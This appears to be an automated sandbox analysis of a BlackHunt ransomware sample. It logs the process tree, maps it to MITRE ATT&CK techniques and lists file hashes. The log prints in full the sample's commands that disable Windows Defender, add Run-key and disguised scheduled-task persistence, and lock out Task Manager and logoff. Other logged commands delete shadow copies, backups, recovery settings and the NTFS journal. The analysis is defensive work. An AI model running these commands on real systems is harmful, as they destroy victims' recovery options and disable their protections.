C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3084
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:3680
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:944
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:840
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:4296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1008
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:652
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:4612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3068
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:4448
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4780
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4168
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:4576
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4048
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4184
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1100
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:580
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3028
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2324
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1436
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:4972
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1720
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:3992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3140
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:884
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:4940
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1312
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1900
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe" /F2⤵PID:5084
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe" /F3⤵
- Creates scheduled task(s)
PID:1488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2824
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4796
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2880
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1988
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3692
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4368
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:4036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4008
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4468
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3904
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4984
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2788
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:644
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:5160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4168
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5396
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3732
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6696
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:7012
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:5056
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5ae4a814898342278f5ebf14dd3888551
SHA169f5873ddfdabe4c7d5cb66d09c93504b6624502
SHA2564a3932fd050fb92501219a6223dcd14541b9c44ba3849b2098304c6ea3650e13
SHA512bdd4d8a52a766859b0e6a44d28efba250147fbf0a78005468442e61a546ee8b0fd257ce78b2a9f7b10d27128629a712e6c4f3f762c22700e38b0feec57ce7021
-
Filesize
12KB
MD51654ced28fdcd1048617df1349b05171
SHA11774f785bdc52cc14aab64f49654d14afc8dc66b
SHA256497b57c6a7b2e2e4b6c661c3f14f7b2e7924b0b17460e6f61fe5d7de88d8097c
SHA512abc6ddf69f5f2f707e1037192cb03a21e86c7a196723a538058886f44e1671cafc91d63cb3c8574632ba0783c8c140066b68ccb25b7142aaf65d026ebed343a7
-
Filesize
684B
MD5d4c0e35f3d200d79338f5affba330b7d
SHA1e18dccd551630691fc47a45cc33949e947f6ab58
SHA25660cc1cf7021a386c5da38f91546536426ac88faf3ede0999de8731bd1256d510
SHA512ca97ef8221257608f195920a5fb7b604ce05183e7700dd9c9138d2262c5cebf54992e4bcf4a0e503a0e0bcc6d5a5946966dbab10ac25640119878d0312ac1d06